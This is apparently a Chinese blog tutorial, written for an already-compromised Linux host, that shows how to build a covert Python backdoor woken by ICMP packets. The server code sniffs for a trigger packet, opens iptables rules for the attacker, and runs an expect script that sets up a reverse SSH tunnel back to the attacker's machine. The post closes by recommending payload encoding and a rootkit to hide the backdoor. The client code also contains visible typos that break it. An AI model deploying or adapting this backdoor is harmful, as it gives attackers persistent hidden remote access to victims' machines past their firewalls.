用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Cpy和Python的效率对比
Mar 20 Python
python函数形参用法实例分析
Aug 04 Python
django DRF图片路径问题的解决方法
Sep 10 Python
Python实现批量修改图片格式和大小的方法【opencv库与PIL库】
Dec 03 Python
Python使用pyserial进行串口通信的实例
Jul 02 Python
python如何将多个PDF进行合并
Aug 13 Python
python 动态迁移solr数据过程解析
Sep 04 Python
django列表筛选功能的实现代码
Mar 27 Python
python--shutil移动文件到另一个路径的操作
Jul 13 Python
python3.6中anaconda安装sklearn踩坑实录
Jul 28 Python
详解python日志输出使用配置文件格式
Feb 10 Python
Python万能模板案例之matplotlib绘制直方图的基本配置
Apr 13 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
php中用文本文件做数据库的实现方法
2008/03/27 PHP
PHP更新购物车数量(表单部分/PHP处理部分)
2013/05/03 PHP
phpexcel导入excel数据使用方法实例
2013/12/24 PHP
php实现的ping端口函数实例
2014/11/12 PHP
PHP7之Mongodb API使用详解
2015/12/26 PHP
php readfile下载大文件失败的解决方法
2017/05/22 PHP
用javascript实现的仿Flash广告图片轮换效果
2007/04/24 Javascript
JS判断元素为数字的奇异写法分享
2012/08/01 Javascript
javascript动态加载实现方法一
2012/08/22 Javascript
JS OffsetParent属性深入解析
2014/01/13 Javascript
Node.JS 循环递归复制文件夹目录及其子文件夹下的所有文件
2017/09/18 Javascript
JS实现登录页密码的显示和隐藏功能
2017/12/06 Javascript
jquery 输入框查找关键字并提亮颜色的实例代码
2018/01/23 jQuery
vue中v-model的应用及使用详解
2018/06/27 Javascript
为什么说JavaScript预解释是一种毫无节操的机制详析
2018/11/18 Javascript
vue项目中实现缓存的最佳方案详解
2019/07/11 Javascript
微信小程序实现音乐播放页面布局
2020/12/11 Javascript
python 从远程服务器下载东西的代码
2013/02/10 Python
python实现简单的TCP代理服务器
2014/10/08 Python
Python求解平方根的方法
2015/03/11 Python
python实现获取Ip归属地等信息
2016/08/27 Python
windows下安装Python的XlsxWriter模块方法
2018/05/03 Python
对python 读取线的shp文件实例详解
2018/12/22 Python
Python 70行代码实现简单算式计算器解析
2019/08/30 Python
Python使用pickle进行序列化和反序列化的示例代码
2020/09/22 Python
英国汽车和货车租赁网站:Hertz英国
2016/09/02 全球购物
大学生学习生活的自我评价
2013/11/01 职场文书
技术人员面试提纲
2013/11/28 职场文书
高中课前三分钟演讲稿
2014/08/18 职场文书
学习计划书怎么写
2014/09/15 职场文书
检察院院长群众路线教育实践活动个人整改措施
2014/10/04 职场文书
开会通知
2015/04/20 职场文书
CSS3 制作的悬停缩放特效
2021/04/13 HTML / CSS
springboot中rabbitmq实现消息可靠性机制详解
2021/09/25 Java/Android
分享MySQL常用 内核 Debug 几种常见方法
2022/03/17 MySQL
详解flex:1什么意思
2022/07/23 HTML / CSS